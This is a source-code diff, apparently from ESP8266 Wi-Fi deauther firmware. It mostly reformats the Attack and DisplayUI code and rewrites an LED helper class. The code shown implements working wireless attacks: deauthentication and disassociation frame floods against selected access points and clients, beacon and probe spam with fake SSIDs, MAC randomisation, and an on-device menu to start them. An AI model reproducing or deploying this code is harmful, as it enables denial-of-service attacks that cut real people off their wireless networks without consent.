json += String(OPEN_BRACKET) + b2s(probe.active) + String(COMMA) + String(ssids.count()) + String(COMMA) + String(
|
||||
probePkts) + String(COMMA) + String(probe.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0],
|
||||
json += String(packetRate); // 0
|
||||
json += CLOSE_BRACKET; // ]
|
||||
|
||||
@@ -152,48 +163,49 @@ void Attack::update() {
|
||||
if (currentTime - attackTime > 1000) {
|
||||
attackTime = currentTime; // update time
|
||||
updateCounter();
|
||||
|
||||
if (output) status(); // status update
|
||||
getRandomMac(mac); // generate new random mac
|
||||
}
|
||||
}
|
||||
|
||||
void Attack::deauthUpdate() {
|
||||
if (!deauthAll && deauth.active && deauth.maxPkts > 0 && deauth.packetCounter < deauth.maxPkts) {
|
||||
if (!deauthAll && deauth.active && (deauth.maxPkts > 0) && (deauth.packetCounter < deauth.maxPkts)) {
|
||||
if (deauth.time <= currentTime - (1000 / deauth.maxPkts)) {
|
||||
// APs
|
||||
if (apCount > 0 && deauth.tc < apCount) {
|
||||
if ((apCount > 0) && (deauth.tc < apCount)) {
|
||||
if (accesspoints.getSelected(deauth.tc)) {
|
||||
deauth.tc += deauthAP(deauth.tc);
|
||||
} else deauth.tc++;
|
||||
}
|
||||
|
||||
// Stations
|
||||
else if (stCount > 0 && deauth.tc >= apCount && deauth.tc < stCount + apCount) {
|
||||
else if ((stCount > 0) && (deauth.tc >= apCount) && (deauth.tc < stCount + apCount)) {
|
||||
if (stations.getSelected(deauth.tc - apCount)) {
|
||||
deauth.tc += deauthStation(deauth.tc - apCount);
|
||||
} else deauth.tc++;
|
||||
}
|
||||
|
||||
// Names
|
||||
else if (nCount > 0 && deauth.tc >= apCount + stCount && deauth.tc < nCount + stCount + apCount) {
|
||||
else if ((nCount > 0) && (deauth.tc >= apCount + stCount) && (deauth.tc < nCount + stCount + apCount)) {
|
||||
if (names.getSelected(deauth.tc - stCount - apCount)) {
|
||||
deauth.tc += deauthName(deauth.tc - stCount - apCount);
|
||||
} else deauth.tc++;
|
||||
}
|
||||
|
||||
// reset counter
|
||||
if (deauth.tc >= nCount + stCount + apCount)
|
||||
deauth.tc = 0;
|
||||
if (deauth.tc >= nCount + stCount + apCount) deauth.tc = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void Attack::deauthAllUpdate() {
|
||||
if (deauthAll && deauth.active && deauth.maxPkts > 0 && deauth.packetCounter < deauth.maxPkts) {
|
||||
if (deauthAll && deauth.active && (deauth.maxPkts > 0) && (deauth.packetCounter < deauth.maxPkts)) {
|
||||
if (deauth.time <= currentTime - (1000 / deauth.maxPkts)) {
|
||||
// APs
|
||||
if (apCount > 0 && deauth.tc < apCount) {
|
||||
if ((apCount > 0) && (deauth.tc < apCount)) {
|
||||
tmpID = names.findID(accesspoints.getMac(deauth.tc));
|
||||
|
||||
if (tmpID < 0) {
|
||||
deauth.tc += deauthAP(deauth.tc);
|
||||
} else if (!names.getSelected(tmpID)) {
|
||||
@@ -202,8 +214,9 @@ void Attack::deauthAllUpdate() {
|
||||
}
|
||||
|
||||
// Stations
|
||||
else if (stCount > 0 && deauth.tc >= apCount && deauth.tc < stCount + apCount) {
|
||||
else if ((stCount > 0) && (deauth.tc >= apCount) && (deauth.tc < stCount + apCount)) {
|
||||
tmpID = names.findID(stations.getMac(deauth.tc - apCount));
|
||||
|
||||
if (tmpID < 0) {
|
||||
deauth.tc += deauthStation(deauth.tc - apCount);
|
||||
} else if (!names.getSelected(tmpID)) {
|
||||
@@ -212,33 +225,34 @@ void Attack::deauthAllUpdate() {
|
||||
}
|
||||
|
||||
// Names
|
||||
else if (nCount > 0 && deauth.tc >= apCount + stCount && deauth.tc < apCount + stCount + nCount) {
|
||||
else if ((nCount > 0) && (deauth.tc >= apCount + stCount) && (deauth.tc < apCount + stCount + nCount)) {
|
||||
if (!names.getSelected(deauth.tc - apCount - stCount)) {
|
||||
deauth.tc += deauthName(deauth.tc - apCount - stCount);
|
||||
} else deauth.tc++;
|
||||
}
|
||||
|
||||
// reset counter
|
||||
if (deauth.tc >= nCount + stCount + apCount)
|
||||
deauth.tc = 0;
|
||||
if (deauth.tc >= nCount + stCount + apCount) deauth.tc = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void Attack::probeUpdate() {
|
||||
if (probe.active && probe.maxPkts > 0 && probe.packetCounter < probe.maxPkts) {
|
||||
if (probe.active && (probe.maxPkts > 0) && (probe.packetCounter < probe.maxPkts)) {
|
||||
if (probe.time <= currentTime - (1000 / probe.maxPkts)) {
|
||||
if (settings.getBeaconChannel()) setWifiChannel(probe.tc % settings.getMaxCh());
|
||||
probe.tc += sendProbe(probe.tc);
|
||||
|
||||
if (probe.tc >= ssids.count()) probe.tc = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void Attack::beaconUpdate() {
|
||||
if (beacon.active && beacon.maxPkts > 0 && beacon.packetCounter < beacon.maxPkts) {
|
||||
if (beacon.active && (beacon.maxPkts > 0) && (beacon.packetCounter < beacon.maxPkts)) {
|
||||
if (beacon.time <= currentTime - (1000 / beacon.maxPkts)) {
|
||||
beacon.tc += sendBeacon(beacon.tc);
|
||||
|
||||
if (beacon.tc >= ssids.count()) beacon.tc = 0;
|
||||
}
|
||||
}
|
||||
@@ -276,6 +290,7 @@ bool Attack::deauthDevice(uint8_t* apMac, uint8_t* stMac, uint8_t reason, uint8_
|
||||
|
||||
// send deauth frame
|
||||
deauthPacket[0] = 0xc0;
|
||||
|
||||
if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())) {
|
||||
success = true;
|
||||
deauth.packetCounter++;
|
||||
@@ -283,6 +298,7 @@ bool Attack::deauthDevice(uint8_t* apMac, uint8_t* stMac, uint8_t reason, uint8_
|
||||
|
||||
// send disassociate frame
|
||||
deauthPacket[0] = 0xa0;
|
||||
|
||||
if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())) {
|
||||
success = true;
|
||||
deauth.packetCounter++;
|
||||
@@ -297,6 +313,7 @@ bool Attack::deauthDevice(uint8_t* apMac, uint8_t* stMac, uint8_t reason, uint8_
|
||||
|
||||
// send deauth frame
|
||||
deauthPacket[0] = 0xc0;
|
||||
|
||||
if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())) {
|
||||
success = true;
|
||||
deauth.packetCounter++;
|
||||
@@ -304,14 +321,14 @@ bool Attack::deauthDevice(uint8_t* apMac, uint8_t* stMac, uint8_t reason, uint8_
|
||||
|
||||
// send disassociate frame
|
||||
deauthPacket[0] = 0xa0;
|
||||
|
||||
if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())) {
|
||||
success = true;
|
||||
deauth.packetCounter++;
|
||||
}
|
||||
}
|
||||
|
||||
if (success)
|
||||
deauth.time = currentTime;
|
||||
if (success) deauth.time = currentTime;
|
||||
|
||||
return success;
|
||||
}
|
||||
@@ -333,6 +350,7 @@ bool Attack::sendBeacon(uint8_t* mac, const char* ssid, uint8_t ch, bool wpa2) {
|
||||
}
|
||||
|
||||
int ssidLen = strlen(ssid);
|
||||
|
||||
if (ssidLen > 32) ssidLen = 32;
|
||||
|
||||
memcpy(&beaconPacket[10], mac, 6);
|
||||
@@ -359,6 +377,7 @@ bool Attack::sendProbe(uint8_t tc) {
|
||||
bool Attack::sendProbe(uint8_t* mac, const char* ssid, uint8_t ch) {
|
||||
packetSize = sizeof(probePacket);
|
||||
int ssidLen = strlen(ssid);
|
||||
|
||||
if (ssidLen > 32) ssidLen = 32;
|
||||
|
||||
memcpy(&probePacket[10], mac, 6);
|
||||
@@ -383,11 +402,9 @@ bool Attack::sendPacket(uint8_t* packet, uint16_t packetSize, uint8_t ch, uint16
|
||||
bool sent = wifi_send_pkt_freedom(packet, packetSize, 0) == 0;
|
||||
|
||||
// try again until it's sent out
|
||||
for (int i = 0; i < tries && !sent; i++)
|
||||
sent = wifi_send_pkt_freedom(packet, packetSize, 0) == 0;
|
||||
for (int i = 0; i < tries && !sent; i++) sent = wifi_send_pkt_freedom(packet, packetSize, 0) == 0;
|
||||
|
||||
if(sent)
|
||||
tmpPacketRate ++;
|
||||
if (sent) tmpPacketRate++;
|
||||
|
||||
return sent;
|
||||
}
|
||||
|
||||
@@ -69,6 +69,7 @@ class Attack {
|
||||
uint32_t getProbeMaxPkts();
|
||||
|
||||
uint32_t getPacketRate();
|
||||
|
||||
private:
|
||||
void deauthUpdate();
|
||||
void deauthAllUpdate();
|
||||
@@ -158,9 +159,11 @@ class Attack {
|
||||
/* 16 - 21 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source
|
||||
|
||||
// Fixed parameters
|
||||
/* 22 - 23 */ 0x00, 0x00, // Fragment & sequence number (will be done by the SDK)
|
||||
/* 22 - 23 */ 0x00, 0x00, // Fragment & sequence number (will be done
|
||||
// by the SDK)
|
||||
/* 24 - 31 */ 0x83, 0x51, 0xf7, 0x8f, 0x0f, 0x00, 0x00, 0x00, // Timestamp
|
||||
/* 32 - 33 */ 0x64, 0x00, // Interval: 0x64, 0x00 => every 100ms - 0xe8, 0x03 => every 1s
|
||||
/* 32 - 33 */ 0x64, 0x00, // Interval: 0x64, 0x00 => every 100ms -
|
||||
// 0xe8, 0x03 => every 1s
|
||||
/* 34 - 35 */ 0x31, 0x00, // capabilities Tnformation
|
||||
|
||||
// Tagged parameters
|
||||
@@ -203,8 +206,4 @@ class Attack {
|
||||
};
|
||||
};
|
||||
|
||||
#endif
|
||||
|
||||
|
||||
|
||||
|
||||
#endif // ifndef Attack_h
|
||||
@@ -1,111 +1,36 @@
|
||||
#include "DigitalLed.h"
|
||||
|
||||
DigitalLed::DigitalLed() {
|
||||
#include "DigitalLED.h"
|
||||
|
||||
DigitalLED::DigitalLED(uint8_t rPin, uint8_t gPin, uint8_t bPin, bool anode) {
|
||||
DigitalLED::anode = anode;
|
||||
DigitalLED::rPin = rPin;
|
||||
DigitalLED::gPin = gPin;
|
||||
DigitalLED::bPin = bPin;
|
||||
}
|
||||
|
||||
// setup pins
|
||||
void DigitalLed::setup(){
|
||||
if(!settings.getLedEnabled()) return;
|
||||
DigitalLED::~DigitalLED() {}
|
||||
|
||||
// ===== adjustable ===== //
|
||||
if(LED_ENABLE_R) pinMode(LED_PIN_R, OUTPUT);
|
||||
if(LED_ENABLE_G) pinMode(LED_PIN_G, OUTPUT);
|
||||
if(LED_ENABLE_B) pinMode(LED_PIN_B, OUTPUT);
|
||||
// ====================== //
|
||||
void DigitalLED::setup() {
|
||||
if (rPin < 255) pinMode(rPin, OUTPUT);
|
||||
|
||||
setMode(LED_MODE_OFF, true);
|
||||
if (gPin < 255) pinMode(gPin, OUTPUT);
|
||||
|
||||
if (bPin < 255) pinMode(bPin, OUTPUT);
|
||||
}
|
||||
|
||||
void DigitalLed::setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness, bool output) {
|
||||
// debug output
|
||||
if (output){
|
||||
char s[30];
|
||||
sprintf(s,str(L_OUTPUT_A).c_str(), r, g, b);
|
||||
prnt(String(s));
|
||||
}
|
||||
void DigitalLED::setColor(uint8_t r, uint8_t g, uint8_t b) {
|
||||
if (anode) {
|
||||
if (rPin < 255) digitalWrite(rPin, r > 0);
|
||||
|
||||
// ===== adjustable ===== //
|
||||
if(LED_CATHODE){
|
||||
r = r>0;
|
||||
g = g>0;
|
||||
b = b>0;
|
||||
if (gPin < 255) digitalWrite(gPin, g > 0);
|
||||
|
||||
if (bPin < 255) digitalWrite(bPin, b > 0);
|
||||
} else {
|
||||
r = !(r>0);
|
||||
g = !(g>0);
|
||||
b = !(b>0);
|
||||
}
|
||||
if (rPin < 255) digitalWrite(rPin, r == 0);
|
||||
|
||||
if(LED_ENABLE_R) digitalWrite(LED_PIN_R, r);
|
||||
if(LED_ENABLE_G) digitalWrite(LED_PIN_G, g);
|
||||
if(LED_ENABLE_B) digitalWrite(LED_PIN_B, b);
|
||||
// ====================== //
|
||||
if (gPin < 255) digitalWrite(gPin, g == 0);
|
||||
|
||||
// debug output
|
||||
if (output){
|
||||
char s[30];
|
||||
sprintf(s,str(L_OUTPUT_B).c_str(), r?255:0, g?255:0, b?255:0);
|
||||
prnt(String(s));
|
||||
if (bPin < 255) digitalWrite(bPin, b == 0);
|
||||
}
|
||||
}
|
||||
|
||||
// customize color codes for different LED modes
|
||||
void DigitalLed::setMode(uint8_t mode, bool force) {
|
||||
// ===== adjustable ===== //
|
||||
if (mode != DigitalLed::mode || force) {
|
||||
DigitalLed::mode = mode;
|
||||
switch (mode) {
|
||||
case LED_MODE_OFF:
|
||||
setColor(0, 0, 0, 100, false);
|
||||
break;
|
||||
case LED_MODE_SCAN:
|
||||
setColor(0, 0, 255, 100, false);
|
||||
break;
|
||||
case LED_MODE_ATTACK:
|
||||
setColor(255, 255, 0, 100, false);
|
||||
break;
|
||||
case LED_MODE_DEAUTH:
|
||||
setColor(255, 0, 0, 100, false);
|
||||
break;
|
||||
case LED_MODE_IDLE:
|
||||
setColor(0, 255, 0, 100, false);
|
||||
break;
|
||||
}
|
||||
}
|
||||
// ====================== //
|
||||
}
|
||||
|
||||
void DigitalLed::tempEnable() {
|
||||
tempEnabled = true;
|
||||
prntln(L_ENABLED);
|
||||
}
|
||||
|
||||
void DigitalLed::tempDisable() {
|
||||
tempEnabled = false;
|
||||
prntln(L_DISABLED);
|
||||
}
|
||||
|
||||
bool DigitalLed::getTempEnabled() {
|
||||
return tempEnabled;
|
||||
}
|
||||
|
||||
void DigitalLed::setColor(uint8_t r, uint8_t g, uint8_t b) {
|
||||
setColor(r, g, b, 100, true);
|
||||
}
|
||||
|
||||
void DigitalLed::setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness) {
|
||||
setColor(r, g, b, brightness, true);
|
||||
}
|
||||
|
||||
void DigitalLed::update() {
|
||||
if (!tempEnabled) return;
|
||||
if (!settings.getLedEnabled() && tempEnabled) tempDisable();
|
||||
|
||||
if (scan.isScanning() && scan.deauths < settings.getMinDeauths()) setMode(LED_MODE_SCAN, false);
|
||||
else if (scan.deauths >= settings.getMinDeauths()) setMode(LED_MODE_DEAUTH, false);
|
||||
else if (attack.isRunning()) setMode(LED_MODE_ATTACK, false);
|
||||
else setMode(LED_MODE_IDLE, false);
|
||||
}
|
||||
|
||||
|
||||
|
||||
void DigitalLED::setBrightness(uint8_t brightness) {}
|
||||
@@ -1,45 +1,23 @@
|
||||
#ifndef DigitalLed_h
|
||||
#define DigitalLed_h
|
||||
#ifndef DigitalLED_H
|
||||
#define DigitalLED_H
|
||||
|
||||
#include "Arduino.h"
|
||||
extern "C" {
|
||||
#include "user_interface.h"
|
||||
}
|
||||
#include "language.h"
|
||||
#include "A_config.h"
|
||||
#include "Settings.h"
|
||||
#include "Attack.h"
|
||||
#include "Scan.h"
|
||||
#include "StatusLED.h"
|
||||
|
||||
#define LED_MODE_OFF 0
|
||||
#define LED_MODE_SCAN 1
|
||||
#define LED_MODE_ATTACK 2
|
||||
#define LED_MODE_DEAUTH 3
|
||||
#define LED_MODE_IDLE 4
|
||||
|
||||
extern Settings settings;
|
||||
extern Attack attack;
|
||||
extern Scan scan;
|
||||
extern Stations stations;
|
||||
|
||||
class DigitalLed {
|
||||
class DigitalLED : public StatusLED {
|
||||
public:
|
||||
DigitalLed();
|
||||
DigitalLED(uint8_t rPin, uint8_t gPin, uint8_t bPin, bool anode);
|
||||
~DigitalLED();
|
||||
|
||||
void setup();
|
||||
void setColor(uint8_t r, uint8_t g, uint8_t b);
|
||||
void setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness);
|
||||
void setBrightness(uint8_t brightness);
|
||||
void setMode(uint8_t mode, bool force);
|
||||
void update();
|
||||
void tempEnable();
|
||||
void tempDisable();
|
||||
bool getTempEnabled();
|
||||
|
||||
private:
|
||||
uint8_t mode;
|
||||
bool tempEnabled = true;
|
||||
void setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness, bool output);
|
||||
bool anode = true;
|
||||
uint8_t rPin = 255;
|
||||
uint8_t gPin = 255;
|
||||
uint8_t bPin = 255;
|
||||
};
|
||||
|
||||
#endif
|
||||
|
||||
|
||||
|
||||
#endif // ifndef DigitalLED_H
|
||||
@@ -1,13 +1,12 @@
|
||||
#include "DisplayUI.h"
|
||||
|
||||
DisplayUI::DisplayUI() {
|
||||
|
||||
}
|
||||
DisplayUI::DisplayUI() {}
|
||||
|
||||
void DisplayUI::setupDisplay() {
|
||||
// ===== adjustable ===== //
|
||||
// initialize display
|
||||
display.init();
|
||||
|
||||
/*
|
||||
In case of a compiler (conversion char/uint8_t) error,
|
||||
make sure to have version 4 of the display library installed
|
||||
@@ -17,7 +16,7 @@ void DisplayUI::setupDisplay() {
|
||||
display.setContrast(255);
|
||||
#ifndef FLIP_DIPLAY
|
||||
display.flipScreenVertically();
|
||||
#endif
|
||||
#endif // ifndef FLIP_DIPLAY
|
||||
display.clear();
|
||||
display.display();
|
||||
// ====================== //
|
||||
@@ -54,44 +53,44 @@ void DisplayUI::setupButtons() {
|
||||
#ifdef BUTTON_UP
|
||||
buttonUp.enabled = true;
|
||||
buttonUp.gpio = BUTTON_UP;
|
||||
#else
|
||||
#else // ifdef BUTTON_UP
|
||||
buttonUp.enabled = false;
|
||||
#endif
|
||||
#endif // ifdef BUTTON_UP
|
||||
|
||||
#ifdef BUTTON_DOWN
|
||||
buttonDown.enabled = true;
|
||||
buttonDown.gpio = BUTTON_DOWN;
|
||||
#else
|
||||
#else // ifdef BUTTON_DOWN
|
||||
buttonDown.enabled = false;
|
||||
#endif
|
||||
#endif // ifdef BUTTON_DOWN
|
||||
|
||||
#ifdef BUTTON_LEFT
|
||||
buttonLeft.enabled = true;
|
||||
buttonLeft.gpio = BUTTON_LEFT;
|
||||
#else
|
||||
#else // ifdef BUTTON_LEFT
|
||||
buttonLeft.enabled = false;
|
||||
#endif
|
||||
#endif // ifdef BUTTON_LEFT
|
||||
|
||||
#ifdef BUTTON_RIGHT
|
||||
buttonRight.enabled = true;
|
||||
buttonRight.gpio = BUTTON_RIGHT;
|
||||
#else
|
||||
#else // ifdef BUTTON_RIGHT
|
||||
buttonRight.enabled = false;
|
||||
#endif
|
||||
#endif // ifdef BUTTON_RIGHT
|
||||
|
||||
#ifdef BUTTON_A
|
||||
buttonA.enabled = true;
|
||||
buttonA.gpio = BUTTON_A;
|
||||
#else
|
||||
#else // ifdef BUTTON_A
|
||||
buttonA.enabled = false;
|
||||
#endif
|
||||
#endif // ifdef BUTTON_A
|
||||
|
||||
#ifdef BUTTON_B
|
||||
buttonB.enabled = true;
|
||||
buttonB.gpio = BUTTON_B;
|
||||
#else
|
||||
#else // ifdef BUTTON_B
|
||||
buttonB.enabled = false;
|
||||
#endif
|
||||
#endif // ifdef BUTTON_B
|
||||
|
||||
// ====================== //
|
||||
// setup and read functions
|
||||
@@ -156,6 +155,7 @@ void DisplayUI::setup() {
|
||||
// === BUTTON UP === //
|
||||
buttonUp.push = [this]() {
|
||||
if (buttonUp.time > currentTime - BUTTON_DELAY) return;
|
||||
|
||||
buttonUp.pushed = true;
|
||||
buttonUp.time = currentTime;
|
||||
scrollCounter = 0;
|
||||
@@ -170,12 +170,14 @@ void DisplayUI::setup() {
|
||||
|
||||
buttonUp.release = [this]() {
|
||||
if (!buttonUp.pushed) return;
|
||||
|
||||
buttonUp.pushed = false;
|
||||
};
|
||||
|
||||
// === BUTTON DOWN === //
|
||||
buttonDown.push = [this]() {
|
||||
if (buttonDown.time > currentTime - BUTTON_DELAY) return;
|
||||
|
||||
buttonDown.pushed = true;
|
||||
buttonDown.time = currentTime;
|
||||
scrollCounter = 0;
|
||||
@@ -190,12 +192,14 @@ void DisplayUI::setup() {
|
||||
|
||||
buttonDown.release = [this]() {
|
||||
if (!buttonDown.pushed) return;
|
||||
|
||||
buttonDown.pushed = false;
|
||||
};
|
||||
|
||||
// === BUTTON LEFT === //
|
||||
buttonLeft.push = [this]() {
|
||||
if (buttonLeft.time > currentTime - BUTTON_DELAY) return;
|
||||
|
||||
buttonLeft.pushed = true;
|
||||
buttonLeft.time = currentTime;
|
||||
scrollCounter = 0;
|
||||
@@ -203,12 +207,14 @@ void DisplayUI::setup() {
|
||||
|
||||
buttonLeft.release = [this]() {
|
||||
if (!buttonLeft.pushed) return;
|
||||
|
||||
buttonLeft.pushed = false;
|
||||
};
|
||||
|
||||
// === BUTTON RIGHT === //
|
||||
buttonRight.push = [this]() {
|
||||
if (buttonRight.time > currentTime - BUTTON_DELAY) return;
|
||||
|
||||
buttonRight.pushed = true;
|
||||
buttonRight.time = currentTime;
|
||||
scrollCounter = 0;
|
||||
@@ -216,6 +222,7 @@ void DisplayUI::setup() {
|
||||
|
||||
buttonRight.release = [this]() {
|
||||
if (!buttonRight.pushed) return;
|
||||
|
||||
buttonRight.pushed = false;
|
||||
};
|
||||
|
||||
@@ -226,8 +233,9 @@ void DisplayUI::setup() {
|
||||
buttonA.time = currentTime;
|
||||
scrollCounter = 0;
|
||||
} else { // holding button
|
||||
if(currentTime - buttonA.time > 800 && !buttonA.hold){
|
||||
if(currentMenu->list->get(currentMenu->selected).hold) currentMenu->list->get(currentMenu->selected).hold();
|
||||
if ((currentTime - buttonA.time > 800) && !buttonA.hold) {
|
||||
if (currentMenu->list->get(currentMenu->selected).hold) currentMenu->list->get(
|
||||
currentMenu->selected).hold();
|
||||
buttonA.hold = true;
|
||||
}
|
||||
}
|
||||
@@ -236,13 +244,15 @@ void DisplayUI::setup() {
|
||||
buttonA.release = [this]() {
|
||||
if (!buttonA.pushed) return; // exit when button wasn't pushed before
|
||||
|
||||
if(!buttonA.hold && currentTime - buttonA.time > 80){
|
||||
if (!buttonA.hold && (currentTime - buttonA.time > 80)) {
|
||||
switch (mode) {
|
||||
case SCREEN_MODE_MENU:
|
||||
|
||||
if (currentMenu->list->get(currentMenu->selected).click) {
|
||||
currentMenu->list->get(currentMenu->selected).click();
|
||||
}
|
||||
break;
|
||||
|
||||
case SCREEN_MODE_PACKETMONITOR:
|
||||
case SCREEN_MODE_LOADSCAN:
|
||||
scan.stop();
|
||||
@@ -257,7 +267,8 @@ void DisplayUI::setup() {
|
||||
|
||||
// === BUTTON B === //
|
||||
buttonB.push = [this]() {
|
||||
if(!buttonB.pushed && buttonB.time > currentTime - BUTTON_DELAY) return;
|
||||
if (!buttonB.pushed && (buttonB.time > currentTime - BUTTON_DELAY)) return;
|
||||
|
||||
buttonB.pushed = true;
|
||||
buttonB.time = currentTime;
|
||||
scrollCounter = 0;
|
||||
@@ -270,6 +281,7 @@ void DisplayUI::setup() {
|
||||
case SCREEN_MODE_MENU:
|
||||
goBack();
|
||||
break;
|
||||
|
||||
case SCREEN_MODE_PACKETMONITOR:
|
||||
case SCREEN_MODE_LOADSCAN:
|
||||
scan.stop();
|
||||
@@ -283,10 +295,15 @@ void DisplayUI::setup() {
|
||||
// === RUN SETUPS === //
|
||||
// setting pin modes for buttons
|
||||
if (buttonUp.enabled && buttonUp.setup) buttonUp.setup();
|
||||
|
||||
if (buttonDown.enabled && buttonDown.setup) buttonDown.setup();
|
||||
|
||||
if (buttonLeft.enabled && buttonLeft.setup) buttonLeft.setup();
|
||||
|
||||
if (buttonRight.enabled && buttonRight.setup) buttonRight.setup();
|
||||
|
||||
if (buttonA.enabled && buttonA.setup) buttonA.setup();
|
||||
|
||||
if (buttonB.enabled && buttonB.setup) buttonB.setup();
|
||||
|
||||
// ===== MENUS ===== //
|
||||
@@ -338,6 +355,7 @@ void DisplayUI::setup() {
|
||||
createMenu(&apListMenu, &showMenu, [this]() {
|
||||
// add APs to list
|
||||
int c = accesspoints.count();
|
||||
|
||||
for (int i = 0; i < c; i++) {
|
||||
addMenuNode(&apListMenu, [i]() {
|
||||
return b2a(accesspoints.getSelected(i)) + accesspoints.getSSID(i);
|
||||
@@ -366,9 +384,11 @@ void DisplayUI::setup() {
|
||||
createMenu(&stationListMenu, &showMenu, [this]() {
|
||||
// add stations to list
|
||||
int c = stations.count();
|
||||
|
||||
for (int i = 0; i < c; i++) {
|
||||
addMenuNode(&stationListMenu, [i]() {
|
||||
return b2a(stations.getSelected(i)) + (stations.hasName(i) ? stations.getNameStr(i) : stations.getMacVendorStr(i));
|
||||
return b2a(stations.getSelected(i)) +
|
||||
(stations.hasName(i) ? stations.getNameStr(i) : stations.getMacVendorStr(i));
|
||||
}, [this, i]() {
|
||||
stations.getSelected(i) ? stations.deselect(i) : stations.select(i);
|
||||
}, [this, i]() {
|
||||
@@ -395,6 +415,7 @@ void DisplayUI::setup() {
|
||||
createMenu(&nameListMenu, &showMenu, [this]() {
|
||||
// add device names to list
|
||||
int c = names.count();
|
||||
|
||||
for (int i = 0; i < c; i++) {
|
||||
addMenuNode(&nameListMenu, [i]() {
|
||||
return names.getSelectedStr(i) + names.getName(i);
|
||||
@@ -436,6 +457,7 @@ void DisplayUI::setup() {
|
||||
|
||||
// add ssids to list
|
||||
int c = ssids.count();
|
||||
|
||||
for (int i = 0; i < c; i++) {
|
||||
addMenuNode(&ssidListMenu, [i]() {
|
||||
return ssids.getName(i).substring(0, ssids.getLen(i));
|
||||
@@ -497,7 +519,9 @@ void DisplayUI::setup() {
|
||||
// STATION MENU
|
||||
createMenu(&stationMenu, &stationListMenu, [this]() {
|
||||
addMenuNode(&stationMenu, [this]() {
|
||||
return stations.getSelectedStr(selectedID) + (stations.hasName(selectedID) ? stations.getNameStr(selectedID) : stations.getMacVendorStr(selectedID)); // <station name>
|
||||
return stations.getSelectedStr(selectedID) +
|
||||
(stations.hasName(selectedID) ? stations.getNameStr(selectedID) : stations.getMacVendorStr(selectedID)); // <station
|
||||
// name>
|
||||
}, [this]() {
|
||||
stations.getSelected(selectedID) ? stations.deselect(selectedID) : stations.select(selectedID);
|
||||
});
|
||||
@@ -511,6 +535,7 @@ void DisplayUI::setup() {
|
||||
return str(D_AP) + stations.getAPStr(selectedID); // AP: someAP
|
||||
}, [this]() {
|
||||
int apID = accesspoints.find(stations.getAP(selectedID));
|
||||
|
||||
if (apID >= 0) {
|
||||
selectedID = apID;
|
||||
changeMenu(&apMenu);
|
||||
@@ -590,37 +615,51 @@ void DisplayUI::setup() {
|
||||
// ATTACK MENU
|
||||
createMenu(&attackMenu, &mainMenu, [this]() {
|
||||
addMenuNode(&attackMenu, [this]() { // *DEAUTH 0/0
|
||||
if(attack.isRunning()) return buildString(b2a(deauthSelected) + str(D_DEAUTH), (String)attack.getDeauthPkts() + SLASH + (String)attack.getDeauthMaxPkts(), CHARS_PER_LINE);
|
||||
if (attack.isRunning()) return buildString(b2a(deauthSelected) + str(D_DEAUTH),
|
||||
(String)attack.getDeauthPkts() + SLASH +
|
||||
(String)attack.getDeauthMaxPkts(), CHARS_PER_LINE);
|
||||
else return buildString(b2a(deauthSelected) + str(D_DEAUTH), (String)scan.countSelected(), CHARS_PER_LINE);
|
||||
}, [this]() { // deauth
|
||||
deauthSelected = !deauthSelected;
|
||||
|
||||
if (attack.isRunning()) {
|
||||
attack.start(beaconSelected, deauthSelected, false, probeSelected, true, settings.getAttackTimeout() * 1000);
|
||||
attack.start(beaconSelected, deauthSelected, false, probeSelected, true,
|
||||
settings.getAttackTimeout() * 1000);
|
||||
}
|
||||
});
|
||||
addMenuNode(&attackMenu, [this]() { // *BEACON 0/0
|
||||
if(attack.isRunning()) return buildString(b2a(beaconSelected) + str(D_BEACON), (String)attack.getBeaconPkts() + SLASH + (String)attack.getBeaconMaxPkts(), CHARS_PER_LINE);
|
||||
if (attack.isRunning()) return buildString(b2a(beaconSelected) + str(D_BEACON),
|
||||
(String)attack.getBeaconPkts() + SLASH +
|
||||
(String)attack.getBeaconMaxPkts(), CHARS_PER_LINE);
|
||||
else return buildString(b2a(beaconSelected) + str(D_BEACON), (String)ssids.count(), CHARS_PER_LINE);
|
||||
}, [this]() { // beacon
|
||||
beaconSelected = !beaconSelected;
|
||||
|
||||
if (attack.isRunning()) {
|
||||
attack.start(beaconSelected, deauthSelected, false, probeSelected, true, settings.getAttackTimeout() * 1000);
|
||||
attack.start(beaconSelected, deauthSelected, false, probeSelected, true,
|
||||
settings.getAttackTimeout() * 1000);
|
||||
}
|
||||
});
|
||||
addMenuNode(&attackMenu, [this]() { // *PROBE 0/0
|
||||
if(attack.isRunning()) return buildString(b2a(probeSelected) + str(D_PROBE), (String)attack.getProbePkts() + SLASH + (String)attack.getProbeMaxPkts(), CHARS_PER_LINE);
|
||||
if (attack.isRunning()) return buildString(b2a(probeSelected) + str(D_PROBE),
|
||||
(String)attack.getProbePkts() + SLASH +
|
||||
(String)attack.getProbeMaxPkts(), CHARS_PER_LINE);
|
||||
else return buildString(b2a(probeSelected) + str(D_PROBE), (String)ssids.count(), CHARS_PER_LINE);
|
||||
}, [this]() { // probe
|
||||
probeSelected = !probeSelected;
|
||||
|
||||
if (attack.isRunning()) {
|
||||
attack.start(beaconSelected, deauthSelected, false, probeSelected, true, settings.getAttackTimeout() * 1000);
|
||||
attack.start(beaconSelected, deauthSelected, false, probeSelected, true,
|
||||
settings.getAttackTimeout() * 1000);
|
||||
}
|
||||
});
|
||||
addMenuNode(&attackMenu, []() { // START
|
||||
return buildString(str(attack.isRunning() ? D_STOP_ATTACK : D_START_ATTACK), attack.getPacketRate() > 0 ? (String)attack.getPacketRate() : String(), CHARS_PER_LINE);
|
||||
return buildString(str(attack.isRunning() ? D_STOP_ATTACK : D_START_ATTACK),
|
||||
attack.getPacketRate() > 0 ? (String)attack.getPacketRate() : String(), CHARS_PER_LINE);
|
||||
}, [this]() {
|
||||
if (attack.isRunning()) attack.stop();
|
||||
else attack.start(beaconSelected, deauthSelected, false, probeSelected, true, settings.getAttackTimeout() * 1000);
|
||||
